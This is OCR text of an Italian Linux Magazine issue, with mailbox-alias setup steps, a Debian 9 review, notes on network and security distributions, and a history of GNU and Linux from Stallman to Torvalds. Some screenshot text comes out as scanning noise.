sito campo. Ad operazioni di inserimento ultimate, possia- 
mo quindi concludere la procedura cliccando sul pulsante di 
conferma Aggiungi Alias. 


mistica affidata allo staff tecnico del provider, 
a meno che non si disponga delle conoscenze ne- 
cessarie e/o del personale adeguato, è un primo 
aspetto da considerare. Concentrarsi unicamente 
sugli aspetti che riguardano la personalizzazione 


REESE II 


(casellapersonale@miodominio.it PR TTE ea] Indirizzi per l'inoltro della posta. È 


Pisfoesestd= 04 


delle caselle e sulle varie attività giornaliere è un 
vantaggio non da poco e permette di risparmiare 
tempo prezioso. La garanzia di ricevere e spedire 
messaggi (SMTP dedicato) ed un mx secondario 
sono altri aspetti da non sottovalutare. 


2 Ciusa muova canile di pote ice priv dominio (OT 


Pautmord par POPIVIMAP mineno O caratteri 


Nome è cognome. 
Porre va valere intera. MAX Saporiti: (000 MB 


intazan omai pecoraro per 3 rue cute paronsrd È 


Indinzzi per imltro dela posta. 2 indizi di maitre al mail 
Altenzione: un sola Indirizzo per rigat 


MAILBOX PERSONALIZZATA... 

02 Partendo dall'alto ed arrivando fino a metà pagina, 
è possibile notare le impostazioni dedicate alnome 

della casella ed alla password, all’attivazione/disattivazione, 

allo spazio di archiviazione totale, agli indirizzi per l'inoltro 

ed agli autorisponditori. 


le e Alias Caselle Alias Password 


CREIAMO UN ALIAS 

Rieccoci nella schermata di gestione delle caselle. 

In alto è possibile notare la voce Alias. Cliccandoci 
sopra accederemo alla sezione dedicata alla creazione di in- 
dirizzi alias per il dominio appena creato. Ora, non resta che 
cliccare sul pulsante Aggiungi Alias. 


Gestione Caselle 


NUOVA PASSWORD 
6 Cambiare regolarmente la password è importante. 
Se pensiamo che la precedente non sia abbastanza 
sicura e desideriamo modificarla, nella schermata dedicata alla 
gestione delle caselle, clicchiamo su Password. Ricordiamo di 
salvare la nuova password cliccando su Cambia Password. 
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Gi.iialtegati di 


Distribuzioni 


DEBIAN 9 


È 
È 
È 


|a di GNU/Linux non possono non conoscerla. Ma neppure 
chi si è avvicinato solo da poco al magico mondo del Pinguino. 
Stiamo parlando di Debian, una delle distro più longeve, complete 
e stabili disponibili in circolazione. E dopo ben 26 mesi di sviluppo, 
ecco arrivare la nuova release 9, battezzata con il nome in codice di 
Stretch. Come mai tutto questo tempo? Per chi non lo sapesse, gli 
sviluppatori del progetto Debian preferiscono far bene le cose e, di 
conseguenza, a differenza di altre distribuzioni, ogni nuova release 


GNU/Unux 


debian o) 


Ein ux 


Magazine 


richiede ben più tempo. Il nuovo Debian 9 è disponibile con diversi 


ambienti desktop: GNOME 3.22, KDE Plasma 5.8, LXDE, LXQt 0.11, 
MATE 1.6 e Xfce 4.12: ognuno può dunque scegliere l’ambiente che 
più preferisce. Aggiornamento dei DE a parte, le novità introdotte 
in Debian 9 sono davvero numerose: basti pensare che include ben 
51000 nuovi pacchetti! La disponibilità di aggiornamenti di sicurezza 
e non è garantito per ben 5 anni: se cerchiamo stabilità e sicurezza, 
Debian 9 è la scelta giusta. 


COME UTILIZZARE IL DVD-ROM 


Le distribuzioni principali presenti all'interno del DVD-Rom sono direttamente avviabili dal supporto digitale, quindi installabili o 
eseguibili in modalità LIVE. Basta inserire it DVD-Rom nell'apposito lettore e riavviare il PC. Dopo pochi secondi apparirà l'inter- 
faccia per l'avvio della distribuzione o per la sua esecuzione in modalità LIVE. Per tutte le altre basta seguire le seguenti istruzioni. 


L'INTERFACCIA 

Per le distribuzioni disponibili sotto forma di immagini ISO, apriamo il 
DVD-Rom con il file manager e clicchiamo due vole sul file index.htm. 
A questo punto, dovrebbe apparire l'interfaccia di gestione. Clicchiamo 


sull'illustrazione o sulla voce Distribuzioni presente nel menu a destra. 
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|) Indice di /media/backupi: » 
CIO file:///media/backup/Distribuzioni/dvd-10-149-b/distribuzioni/ 


“a 
Indice di /media/backup/Distribuzioni/dvd-10-149-b/distribuzioni/ 


Dimensioni Data ultima modifica 


20/08/13 12:25:57 
26/08/13 12:30:01 


DOWNLOAD ISO 


Da qui, possiamo scaricare l'immagine ISO della distribuzione semplicemente 
accedendo alla sua eventuale cartella e premendo sul relativo link. Dopodiché, 
possiamo masterizzare l'IS0 su Cd-Rom e DVD-Rom per creare il supporto di 
installazione o trasferirla su una pendrive USB bootable. 


Gia il Fesgva:t i 


Distribuzioni 


SPECIALE RETE & SICUREZZA 


| 

NU/Linux non è fatto esclusivamente di distribuzioni desktop e 

dunque adatte ai più comuni utilizzi (navigazione Web, editing 
di testi o immagini, sviluppo, ecc.) ma ci sono anche una miriade di 
distribuzioni “minori” ma non per questo meno importanti. In questo 
numero di Linux Magazine abbiamo dunque deciso di selezionare 
le migliori distro, alcune di queste basate su FreeBSD, specializzate 
in rete e sicurezza che ci permettono, ad esempio, di trasformare 
un vecchio PC in un NAS per la condivisione di file nella rete locale 


DASHBOARD 


e] Brasero 


Creare un nuovo progetto: Progetti recenti: 


Progetto audio Im-138.iso 
, | È 3 K 
Crea un CD audio tradizionale Mageia-2-i586-DVD.iso 


KNOPPIX_V7.0.1DVD-2012-05-24-EN 


_°\ Progetto dati 
\_ || Crea unco o DVDdi dati 


Im-137-b.iso 
linuxmint-13-mate-dvd-32bit.iso 


Progetto video 
Ì Crea un DVD video 0 un SVCD 
1 Copia disco 


{Il 
\__/ Creauna copia 1:1 diun CD/DVD 


[© Masterizza immagine 
° ) Masterizza un'immagine CO/DVD esistente sudisco 


MASTERIZZAZIONE SUPPORTI 


In ambiente Gnome possiamo utilizzare Brasero, su KDE K3b. Nel primo 
caso, avviamo il software, clicchiamo su Masterizza immagine e selezio- 
niamo l'ISO da masterizzare. Con K3b, invece, clicchiamo su Strumenti/ 
Masterizza immagine ISO e selezioniamo l'immagine ISO. 


(EreeNAS 11.0 ed OpenMediaVault 3.0.79). O ancora in un server che 
si occupa di filtrare tutto il traffico (come IPFire 2.19). E poi ci sono 
quelle distro, basate su FreeBSD che trasformano qualsiasi macchina 
inunvero e proprio router (pfSense 2.3.4). E se pensiamo che installa- 
re e configurare questo genere di distribuzioni ci sbagliamo di grosso: 
tutte sono equipaggiate con una semplice interfaccia Web che mette 
ogni funzionalità a portata di clic. Con un minimo di pazienza anche 
l'utente meno esperto potrà raggiungere il suo obiettivo. 


I} OpenMediavauit ; 


agita SODI eg Ad 


System | Genera! Settings 
Web Administration | Web Rcinhniattato: Panaword 


|M Oanerai Settings 


— — Ss © Res 
Oca a mv PORRI SET 


Qeneral satings 
Pon CJ 


ornent Sessioniment (5 


TI Uodate manager 

Ferroni 

SR Storage Corticate None 
LI Prvnicai Dish n 


Enable SSUTLS DI Enatde secure connection 
Tha S6L cartficale 

Por tte) 

sesoga Force SSUTLS. E] Force secun 
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De) UNetbootin 
€ Distribution = Select Distribution == “l [== Select Version 


Benvenuti in UNetbootin, il Netboot Installer universale. Uso: 


1. Selezionare dalla lista qui sopra una distribuzione ed una version 
specificare manualmente i file da caricare qui sotto. 
2. Selezionare un tipo di installazione e fare clic su OK per iniziarla. 


IT Show All Drives (Use with Care) 


type: [Drive use ——1iDrive: [rm =] o_| 
PENDRIVE USB AVVIABILE 


Installiamo UNetbootin (/t{p:/unetbootin.sourceforge.nefì. Colleghia- 
mo la pendrive USB al PC, selezioniamo Diskimage e premiamo su “...” 
per trovare l’ISO. A questo punto, clicchiamo su OK e aspettiamo che la 
procedura termini. Subito dopo avviamo il PC da periferica USB. 
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Io sono 
LINUX 


A tu per tu con Linus Torvalds, ripercorriamo 
la strada che ci ha portato alla real izzazione 
di un sogno: un sistema operativoLifEro, 

gratuito, completo e sicuro 


Luca Tringali: 
PA 


la luce calda del tungsteno un marciapiede ancora unici 

per la pioggia che ha smesso da poco, in una fredda notte” 
a Cambridge, nel Massachussets. Il marciapiede corre lungo Main 
Street, interrompendosi sullo scivolo d’ingresso del Tech Square. 
Immediatamente dentro l’edificio c'è un portiere che legge un ormai 
vecchio quotidiano guardando distrattamente l'orologio che ha sul 
polso: manca qualche minuto a mezzanotte. Nove piani più in alto, 
una stanza tra le altre spicca nel buio per la luce accesa che filtra da 
sotto la porta. Il rumore di molle arrugginite è un po’ attutito da quello 
delle ventole dei computer che si trovano nella stanza. Un uomo sulla 
trentina, dai capelli lunghi e la barba incolta, si sta svegliando: è seduto 
su di un letto pieghevole ed ogni minimo movimento del suo corpo fa 
cigolare le molle che sostengono la rete su cui poggia il materasso. 
Allunga la mano verso una scrivania per prendere una lattina di Pepsi 
Cola, già aperta, e ne beve un sorso per facilitare il risveglio. Dopo 
essersi strofinato gli occhi, l’uomo può finalmente alzarsi in piedi e 
percorrere un paio di metri, per sedersi davanti alla postazione di un 
terminale sorseggiando la cola rimasta nella lattina. Il terminale non 
mostra altro che una riga di comando in attesa di istruzioni, preceduta 
dalla riga “JOB 7 on TTY43 16-Dec-1983 11:52 PM”. È il minimale 
messaggio di benvenuto di un sistema operativo TOPS-20, che sta 
girando su un mainframe modello DEC-20 presente in quello stesso 
edificio. Non sono molti i luoghi nel mondo che possono permettersi 
un calcolatore di questo tipo, nel 1983, ma quell’edificio è la sede 
del laboratorio di intelligenza artificiale del Massachussets Institute of 
Technology. 
L'uomo non utilizza password, anzi: è anche riuscito a convincere 
un quinto degli altri utenti a non utilizzarla, in modo da permettere un 
libero accesso ai codici che scrivono. Il suo nickname da programma- 
tore, invece, è “ms”. Un semplice acronimo del suo nome, Richard & LI I AC KER 
Matthew Stallman, ma anche un doppio senso: può indicare il root Spesso si sente parlare di hacker in senso negativo, ma 
mean square, la radice della media dei quadrati, un'operazione che è un errore. Un hacker è, per definizione, semplicemente 
si usa spesso in fisica. Stallman è infatti laureato in fisica ad Harvard, una persona che scrive programmi per passione e crede 


lic la sua nà hi la RN ed à per questo che fina che la (buona) programmazione sia una forma d’arte. 
vive dentro il laboratorio di intelligenza artificiale del MIT. Da alcuni 


I a lampadina ad incandescenza di un lampione illumina con; 
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jFig. 1- Richard Stallman vestito da Sant iIGNUicius (che suona 
; in inglese come “sant’ Ignazio”) parla al pubblico della Liber- 
tà del software 


anni si è fatto un nome creando un editor di testi molto evoluto, al 
quale ha dato il nome di EMACS: questo programma diventa in breve 
il più diffuso editor del mondo universitario statunitense, anche gra- 
zie alla licenza che Stallman decide di usare per pubblicarlo. Infatti, 
EMACS è disponibile a tutti come codice sorgente, a condizione che 
chi vi apporta delle modifiche deve pubblicarle. Questo permette al 

programma di crescere molto velocemente, perché chiunque può 

migliorarlo e tutti beneficiano delle nuove caratteristiche. Negli ultimi 

due anni, l'hacker, come egli stesso ama definirsi, ha compiuto del 
&everse engineering per creare un'altemativa ad una macchina LISP 
«prodotta dalla azienda Symbolics. Ha passato le notti a provare il 
G ig programma della Symbolics e sviluppare un altro programma, che 

4, avrebbe poi ceduto all'azienda LMI, con le stesse funzioni ma scri- 
vendo di proprio pugno tutto il codice. Perché? Per una sorta di 
vendetta: a suo avviso la Symbolics aveva danneggiato il MIT, por- 
tando via dal laboratorio alcuni tra i migliori programmatori proprio 
per evitare che potessero condividere liberamente il proprio codice. 
Con questo reverse engineering, Stallman voleva colpire gli affari 
della Symbolics e contemporaneamente evitare che l'azienda potes- 
se avere un monopolio assoluto della tecnologia. Mentre lavorava 
a questo progetto, tuttavia, aveva deciso di intraprendere anche un 
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Fig. 2 - Un mainframe DEC-20 come quello con cui lavorava 
Stallman nel laboratorio di intelligenza artificiale dell'MIT 


altro progetto, molto più grande: replicare un vero e proprio sistema 
Unix, pubblicando il codice in modo Libero, come aveva fatto per 
EMACS. Un sistema operativo completamente Libero dalle restrizioni 
d’uso dei vari sistemi dell’epoca avrebbe potuto far esplodere la vera 
potenzialità dei computer e permettere agli altri hacker, appassionati 
di programmazione, la creazione di programmi davvero innovativi. 

In particolare, Stallman ha in mente un utilizzo quasi fantascientifico 
di questa libertà: modificare i driver della stampante del laboratorio 
per far sì che, quando la carta si inceppa, l’utente venga avvisato. 
Il laboratorio dispone infatti di un prototipo della Xerox che è, fonda- 
mentalmente, una delle prime stampanti di rete mai prodotte. Tutti 
gli utenti possono inviare documenti in stampa dalla loro postazione, 
ed è una funzione particolarmente apprezzata visto che per studiare 
spesso è utile poter leggere da un foglio di carta. Il problema è che 
in questa stampante i fogli si incastrano molto spesso, e quando ciò 
avviene nessuno se ne accorge, col risultato che gli utenti danno per 
scontato che i loro documenti siano stati stampati, mentre in realtà 
non lo sono, e finiscano col perdere tutti i dati. 

Basterebbe un sistema di notifica che avvisi immediatamente l’utente 
che la propria stampa si è inceppata, e che deve rimuovere manual- 
mente i fogli per evitare che tutti i prossimi documenti in stampa ven- 
gano persi. Tuttavia, Stallman ha un problema: i driver della stampante 
sono stati forniti al MIT soltanto come codice binario, non come codi- 
ce sorgente. Nonostante vari tentativi, Stallman non riesce a procurare 
il source code di questa stampante, ma solo quello di una versione 
precedente e scopre che l’azienda sta di fatto proibendo le modifiche 
al proprio software. Poiché il codice è chiuso, ed è di proprietà della 
Xerox, Stallman non può modificarlo per apportare la miglioria che 
desidera. A meno, naturalmente, di scrivere da capo un nuovo driver 
per la stampante, adatto per il sistema operativo TOPS-20 che fa 
funzionare il mainframe del laboratorio. Ma si rende anche conto che 
questo è un nuovo tipo di comportamento da parte delle aziende, che 
fino a prima non si facevano problemi a rilasciare il codice, e che ine- 
vitabilmente si diffonderà ad altri produttori. La prospettiva fa paura: 
nel giro di qualche anno potrebbe diventare impossibile modificare il 
software di un qualsiasi dispositivo, a meno di riscriverselo da capo. A 
quel punto, tanto vale scrivere un intero sistema operativo dal princi- 
pio, rilasciandolo con una licenza Libera, per risolvere il problema una 
volta per tutte. 

Aveva anche. già pensato ad un acronimo per il suo progetto: GNU, 
eee 


dies 
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che significa GNU’s Not Unix. Insomma, un metodo ricorsivo per 
stabilire che GNU voleva assomigliare ad Unix, ma non era davvero 
Unix. In quel momento, alla fine del 1983, Stallman aveva deciso che 
il mondo aveva bisogno di libertà, il mondo aveva bisogno di GNU. 


GNU È L’UOMO DI LATTA 


Non serve molto tempo perché il progetto GNU guadagni una certa 
visibilità nel mondo della programmazione: in molti desiderano un 
sistema operativo che sia facilmente adattabile alle proprie esigen- 
ze, e sono ben contenti di dare una mano alla sua realizzazione. 
Stallman compila, assieme ad altri collaboratori, una lista di tutti 
i componenti necessari per il sistema operativo, per stabilire un 
piano di lavoro. Alcuni di questi, come la shell ed il compilatore 
per il linguaggio C vennero scritti con una certa facilità. Nel 1986 
cominciò il lavoro sul kernel, letteralmente il cuore del sistema. 
Si tratta di quel componente che gestisce le varie interazioni con 
l'hardware e fa dialogare tra loro programmi diversi. È un componente 
difficile da scrivere, perché lavora a basso livello, quindi bisogna stu- 
diare il funzionamento dei processori, dei dischi rigidi, ecc. Il kernel 
viene battezzato GNU Hurd, e per scriverlo ci si ispira a Mach, un 
esperimento della Camegie Mellon University. Mach era stato rila- 
sciato un anno prima ed è stato uno dei primi esempi del concetto 


di microkernel: in poche parole, si tratta di un kemel estremamente 
piccolo e leggero che demanda buona parte dei compiti ad altri pro- 
grammi, in cònfronto ai kernel monolitici prodotti fino a quelmomento 
che cercavano di racchiudere quante più funzioni possibili. 

Il problema è che realizzare un kernel non è affatto facile, soprattut- 
to non è facile realizzare un microkernel che sia davvero stabile. Il 
risultato è che al 1989, tre anni dopo l’inizio del lavoro, Hurd non è 
ancora pronto, e non si riesce nemmeno a stabilire quando lo sarà. 
Quasi tutto il resto del sistema operativo, invece, è pronto. Non solo: 
è pronta anche la licenza GPL, la General Public Licence: la prima 
licenza standard per rilasciare del Software Libero, che garantisce agli 
utenti la libertà di modificare e redistribuire il codice di ogni program- 
ma. Sembrerebbe tutto perfetto, tutto come deve stare, tranne per il 
fatto che manca un kernel funzionante ed ufficiale: vengono fatti alcuni 
tentativi per integrare in un sistema GNU vari kernel già esistenti, ma 
poiché non sono stati rilasciati dagli autori come Software Libero, non 
possono comunque essere redistribuiti ufficialmente. GNU diventa 
quindi l’uomo di latta alla ricerca di un cuore. 


UN ACQUISTO IMPORTANTE 
Sono passati 7 anni dall'inizio di GNU. È la fine del 1990. Nel 
Vecchio Mondo, in Finlandia, un ragazzo ventunenne sta frequen- 


Fig. 3 - Il lavoro del professor Andrew Tanenbaum su Minix ha spin- 
to Linus Torvalds a progettare un proprio kernel 


tando l’università di Helsinki. Nel giro di pochi giorni acquisterà un 
nuovo computer, con architettura 386, sperando di poterci installare 
il sistema operativo Minix. Sta infatti seguendo un corso su Unix ed 
il linguaggio C per il suo corso di laurea, e vorrebbe avere a casa un 
computer simile a quelli che usa all’università per potersi esercita- 
re. È quasi un mese che la temperatura è stabilmente sotto lo zero 
ed è pure nevicato da poco. Naturalmente, per i finlandesi questa 
patina di gelo che ricopre la città è normale e nessuno ci fa caso. 
Il ragazzo, in particolare, probabilmente non ci sta pensando anche 
perché è riscaldato da un'emozione quasi febbrile appena pensa 
che tra qualche giorno otterrà il proprio computer 386 (una grande 
novità per l'epoca) grazie ad un pagamento rateale. È pur sempre 
un universitario, non ha messo da parte molto denaro. Studiare 
informatica, però, gli piace: ha appena finito gli 11 mesi di servizio 
militare, ed è molto felice di avere ripreso gli studi. Tanto felice che, 
per l'appunto, nulla potrà raffreddare la sua impazienza. Nemmeno 
la consapevolezza che su questo nuovo computer non potrà instal- 
lare il sistema operativo che desidera: Minix, infatti, non è rilasciato 
con una licenza Libera e non è nemmeno tanto facile da trovare, 
almeno in Finlandia. Sa già che ci vorranno dei mesi per riuscire 
ad avere i dischi di installazione del sistema operativo, quindi per il 
momento dovrà accontentarsi del sistema DOS. Potrà però impie- 
gare quei primi mesi studiando il funzionamento del calcolatore e 
giocando a Prince of Persia. Linus Torvalds, lo studente universi- 
tario, ha conosciuto Minix leggendo il libro “Operating Systems, 
Design and implementation” scritto dal professor Tanenbaum. 
Il libro descrive la costruzione di un sistema operativo, e per fare degli 
esempi pratici l'autore ha inventato un proprio sistema, che ha per 
l'appunto chiamato Minix (il nome deriva dal fatto che si basa su un 
microkemel). 

Si tratta di un sistema operativo molto piccolo e semplice, con poche 
funzioni, ma proprio per questo utile per capire i principi di base. 
Il kernel, il gestore della memoria RAM e il file system per il disco 
rigido costituiscono un totale di circa 12000 righe di codice: davvero 
poche, considerando gli altri sistemi operativi. Certo, i limiti di Minix 
sono comunque notevoli. Torvalds se ne accorge alla fine di febbraio 
del 1991, quando riesce ad installare Minix sul suo nuovo computer. 
Innanzitutto, la sua tastiera finlandese non viene riconosciuta corret- 
tamente, i tasti appaiono tutti sbagliati e ci sono pochi programmi 
funzionanti. In particolare, c'è la Boume Shell invece di Bash (la shell 
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What would you like to see most in minix? 
281 post di 268 autori ©) (6 


Linus Benedict Torvalds 


* Visualizzati di recente 


PARERE Hello everybody out there using minix - 


Privacy - Termini di servizio 


among other things). 


Linus (torv...@kruuna.helsinki.fi) 


5 di 99+ 


I'm doing a (free) operating system (just a hobby, won't be big and 
professional like gnu) for 386(486) AT clones. This has been brewing 
since april, and Is starting to get ready. l'd like any feedback on 
things people like/dislike in minix, as my OS resembles it somewhat 
(same physical layout of the file-system (due to practical reasons) 


l've currently ported bash(1.08) and gcc(1.40), and things seem to work. 
This Implies that I'll get something practical within a few months, and 

l'd like to know what features most people would want. Any suggestions 
are welcome, but | won't promise I'll implement them :-) 


PS. Yes-it's bn of any dt code, and it seo a Ialia La 


Fig. 4 - L'email con cui Torvalds annuncia, soa newsgroup comp.os.minix pra suo lavoro su un nuovo kernel 


che tutti noi oggi conosciamo). Torvalds comincia a compilare vari 
programmi tra quelli già pubblicati dal progetto GNU per migliorare il 
sistema, eseguendo modifiche nel loro codice per farli funzionare con 
il kernel di Minix. Tuttavia, si accorge man mano di una serie di pecche 
strutturali del sistema operativo di Tanenbaum e comincia a modificar- 
lo. Partendo da un semplice “Hello world” che'‘appare sullo schermo 
utilizzando il kernel Minix, pian piano Torvalds decide di riscrivere da 
capo il kernel. Per semplificare il lavoro, decide di tenere alcune delle 
porzioni di codice di Minix, in particolare quella relativa al file system: 
questo gli permette di procedere molto velocemente, perché non deve 
più preoccuparsi dell'accesso al disco rigido. Prende la decisione di 
non limitarsi a modificare il kernel ma di scriverne uno tutto suo non 
solo per fare pratica, ma anche perché non è convinto dalla struttura a 
microkernel di Minix. Torvalds ha infatti in mente una struttura diversa: 
quella monolitica modulare. Il futuro darà ragione a Linus Torvalds, ma 
alla fine degli anni ‘80 l’idea che i microkemnel siano migliori, e che i 
monolitici debbano essere considerati obsoleti, è molto diffusa. La dif- 
ferenza tra i due modelli è che i kernel monolitici sono di fatto un unico 
(o quasi) programma, che si occupa di gestire tutte le attività principali 
del computer. | microkernel sono invece semplicemente dei gestori di 
memoria, che si occupano di far comunicare tra loro i vari programmi 
che poi gestiscono davvero le varie risorse (il file system, i driver, ecc). 
Sulla carta, il problema dei kernel monolitici è che se c’è un intoppo 
nel programma, anche in una parte apparentemente irrilevante per il 
funzionamento del computer, è l’intero kemel a bloccarsi e dunque 
non c'è altra soluzione che riavviare il computer. Invece, i microkernel, 
essendo costituiti da diversi programmi, non dovrebbero mai bloccarsi 
del tutto: se uno dei programmi ha un intoppo e va in crash, sarà 
sufficiente riavviare soltanto quel programma, mentre tutti gli altri con- 
tinueranno a funzionare. Questo in teoria. Tuttavia, i microkernel hanno 
un difetto notevole che, in quel periodo, quasi nessuno aveva davvero 
tenuto in considerazione. Nessuno tranne Torvalds. Infatti, essendo 
costituiti da tanti piccoli programmi, i microkernel sono in realtà molto 
più difficili da scrivere, è facile che nascano incompatibilità varie tra le 
cano 
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componenti del kernel e che si finisca in una sorta di ciclo continuo 
in cui qualcosa va in crash e si cerca di riattivarla solo per mandarla 
nuovamente in crash. 

Anche la comunicazione tra i vari componenti del kernel è macchinosa, 
perché il microkernel si comporta come una sorta di server al quale si 
connettono gli altri programmi in funzione di client, ma la comunicazio- 
ne può essere difettosa per vari motivi spesso non prevedibili in fase di 
programmazione. Torvalds pensa ad una soluzione per salvare sia la 
capra che i cavoli: vuole realizzare un kernel monolitico, ma modulare: 
i vari aspetti della vita del computer sono gestiti da moduli del kernel, 
che possono essere caricati o dismessi anche durante l’esecuzione 
del sistema operativo. Questo permette di ridurre i danni, perché un 
eventuale modulo difettoso può essere rimosso dal kernel in qualsiasi 
momento senza che vi siano gravi conseguenze per gli altri compo- 
nenti, ma è comunque molto più semplice da scrivere, perché nel 
complesso è comunque una struttura unica. In un'intervista esclusiva a 
noi di Linux Magazine lo stesso Torvalds afferma a tal riguardo quanto 
riportato nella pagina qui accanto. 


MIGLIORARE MINIX, SOLO PER HOBBY 


Nell’agosto del 1991 una prima versione del sistema operativo scritto 
da Torvalds è in grado di fornire una shell ed il file system di Minix: è 
il momento di condividerlo col resto del mondo. Torvalds descrive il 
proprio progetto su un newsgroup dedicato a Minix: “Sto program- 
mando un sistema operativo (gratuito e solo per hobby, non vuole 
essere grande e professionale come GNU) per cloni di AT 386(486). 
È in preparazione da aprile, e sta iniziando a funzionare”. Aggiunge, 
allo stesso messaggio, la domanda “mi piacerebbe sapere cosa vi 
piace e non vi piace in Minix” rivolta agli altri partecipanti al gruppo. 
Linus non ha infatti ancora pensato di costruire un completo sistema 
operativo a sé stante, ma soltanto una versione di Minix migliore di 
quella ufficiale. Nel giro di un paio di mesi, diversi programmatori 
sembrano interessati al progetto. In particolare, Ari Lemmke offre a 
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Notes for linux release 0.01 


8. Contents of this directory 


linux-0.01.tar.Z - sources to the kernel 
bash.Z - compressed bash binary if you want to test it 
update.Z - compressed update binary 

RELNOTES-0.01 - this file 


1. Short intro 


This is a free minix-like kernel for i386(+) based AT-machines, Full 

source is included, and this source has been used to produce a running 

kernel on two different machines. Currently there are no kernel è 
binaries for public viewing, as they have to be recompiled for different 

machines. You need to compile it with gcc (I use 1.40, don't know if 

1.37.1 will handle all _asm -directives), after having changed the 

relevant configuration file(s). 


As the version number (0.01) suggests this is not a mature product. 
Currently only a subset of AT-hardware is supported (hard-disk, screen, 
keyboard and serial lines), and some of the system calls are not yet 

fully implemented (notably mount/umount aren't even implemented). See 
comments or readme's in the code. 


This version is also meant mostly for reading - ie if you are interested 
in how the system looks like currently. It will compile and produce a 
working kernel, and though I will help in any way I can to get it 
working on your machine (mail me), it isn't really supported. Changes 
are frequent, and the first “production” version will probably differ 
wildly from this pre-alpha-release. 


Hardware needed for running linux: 
- 386 AT 


Fig. 5 - La prima versione di Linux, la numero 0.01, era molto 
piccola e poco adattabile ai diversi hardware: funzionava 
praticamente soltanto sul computer di Torvalds 


lo penso che i microkernels 
siano fondamentalmente 
un'idea sbagliata, perché pongono 
la complessità del progetto nel punto 
sbagliato (la comunicazione tra diverse 
entità] e ti limitano troppo dal punto 
di vista tecnico, mettendo da parte 
quel tipo di condivisione che è invece 
standard nei sistemi operativi 
tradizionali 
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Ascoli Piceno e provincia 


Ascoli Piceno 
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Fig. 6 - La potenza di GNU/Linux sta anche nella dimensione della sua comunità di utenti: i LUG italiani sono sempre disponibili ad aiutare chi ha 
un problema da risolvere. Sul sito Web Attp:/Augmap.linux.itè possibile consultare l'elenco completo di tutti i LUG sparsi per l'Italia. 


Torvalds il proprio spazio su un server FTP per pubblicare il codice, 
inserendolo in una cartella col nome “linux”, come contrazione di 
Linus e Unix. Questo gli fornisce uno stimolo a continuare il progetto 
e all’inizio di ottobre la versione 0.02 di Linux è pronta. Conteneva 
già una serie di programmi del progetto GNU abbastanza funzio- 
nanti: GCC, ad esempio, non poteva compilare file molto grandi, ma 
poteva comunque essere usato per compilare piccoli programmi. 
A questo punto, Torvalds non ha ancora deciso cosa dovrà essere 
di questo progetto, se portarlo avanti ancora o se lasciare tutto dopo 
qualche mese di altri esperimenti. Ma prende una decisione che si 
rivelerà fondamentale: per non correre il rischio di fare qualche errore 
di cui pentirsi in futuro, nel caso volesse utilizzare seriamente Linux, 
decide di seguire gli standard POSIX. Questi standard non sono facili 
da reperire: il consorzio vende le specifiche e Torvalds non ha la forza 
economica per comprarle. Tuttavia, all'intemo del progetto GNU 
trova la libreria glibc, un'implementazione delle librerie standard C per 
il sistema GNU. In quel momento la libreria glibc è ancora in una ver- 
sione instabile, però è stata progettata seguendo gli standard POSIX 
ed è corredata da una buona documentazione: Torvalds decide di 
utilizzarla come punto di riferimento per il suo kemel. Lavorando pra- 
ticamente da solo, escluse un paio di patch suggerite da utenti che si 


erano interessati al progetto tramite l'annuncio in newsgroup, continua 
ad aggiungere nuove funzionalità al kernel rilasciando nuove versioni 
del codice sorgente. Esattamente un anno dopo avere acquistato il 
suo computer, il 5 gennaio del 1992 Torvalds pubblica la versione 
0.12. Questo è il momento della svolta: finalmente, il sistema costituito 
dal kernel Linux ed il set di programmi GNU non deve più rincorrere 
Minix. Anzi: ora è una valida altemativa allo stesso Minix e l'interesse 
degli altri programmatori cresce esponenzialmente. È a questo punto 
che le gente comincia davvero ad utilizzare il progetto e, soprattutto, 
a diffonderlo. Fino a qualche mese prima, le giornate di Linus trascor- 
revano tra un riavvio e l’altro, spegnendo e riaccendendo il computer 
per provare le nuove modifiche che aveva apportato al kernel. Ora, la 
fase in cui procedeva per tentativi e errori nella speranza di ottenere 
qualcosa di funzionante si è conclusa e passa buona parte del proprio 
tempo a progettare con attenzione le nuove funzioni da aggiungere, 
per assicurarsi che il codice sia quanto più efficiente possibile senza 
precludere alcuna altra modifica, anche radicale, in futuro. È anche 
a questo punto che Torvalds decide di rilasciare Linux con la licenza 
GNU GPL: le versioni precedenti erano rilasciate con una licenza che 
aveva scritto lui stesso e che era molto simile alla GPL, anche se spe- 
cificava chiaramente che la redistribuzione di Linux avrebbe sempre 


LA FORZA STA NELLA COMUNITÀ: NASCONO I LUG 


Essendo GNU/Linux un progetto collabora- 
tivo, che è nato e cresce grazie ai contri- 
buti di altri utenti (chi scrive codice, chi le 
traduzioni linguistiche, chi semplicemente 


segnala i bug, ecc), è ovvio che la comunità 
degli utenti sia il vero punto di forza. In Ita- 
lia, il sistema viene conosciuto abbastanza 
presto e cominciano a nascere dei gruppi 
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di utenti chiamati LUG. Non è chiaro dove 

e quando nasca il primo LUG, Linux User 
Group, italiano, visto che si tratta di gruppi 
spesso informali. Tuttavia, nel 1994 [lo 
stesso anno in cui viene pubblicata la prima 
versione stabile del kernel Linux] nasce la 
Italian Linux Society [www.ils.org), fonda- 

ta a Savona. Nel corso degli anni questa 


organizzazione si è impegnata per favorire 
la diffusione del Software Libero ed Open 
Source, anche con eventi molto noti al 
pubblico come i Linux Days. Se vogliamo 
collaborare alla diffusione di GNU/Linux in 
Italia, non dobbiamo far altro che cercare 
it LUG più vicino a noi e metterci in contatto 
con gli altri utenti. 


lo penso che la morale sia qualcosa 

di privato e chiunque la utilizzi per fare 
una discussione qualunque stia sbagliando. 
lo posso avere le mie personali ragioni per 
preferire l'Open Source, ma sono le mie 
motivazioni personali, e non hanno nulla a che 
vedere con i motivi per i quali suggerisco 
agli altri di adottare l'open source. Quindi io (ed 
anche altre persone) uso il termine open source ... 
software, e non mi disturbo a fare alcun 
ragionamento moralistico. L'open source tende 


ad essere semplicemente migliore dal punto 


vista tecnico, ed è molto più divertente 


partecipare al processo creativo quando 


questo è open e tutti possono 
collaborare. 


dovuto essere non solo Libera ma anche gratuita e, vista la popolarità 
del progetto e le continue richieste di chiarimenti sulla licenza, decide 
di adottare direttamente la licenza del progetto GNU perché era scritta 
meglio e tutti l'apprezzavano. Comunque, probabilmente proprio a 
causa del fatto di non essere madrelingua inglese, a Torvalds non è 
mai piaciuto parlare di “free software”. Nell'intervista a noi rilasciata 
ammette, pur continuando ad utilizzare le licenze del progetto GNU e 
della Free Software Foundation, di non usare nemmeno più il termine 
“free software” perché, spiega, “penso che sia un punto di partenza 
sbagliato”. Sbagliato non soltanto per l'ambiguità lessicale inglese 
del termine, cui abbiamo già accennato (free significa sia libero che 
gratuito), ma anche “perché la parola “free” è talmente piena di carico 
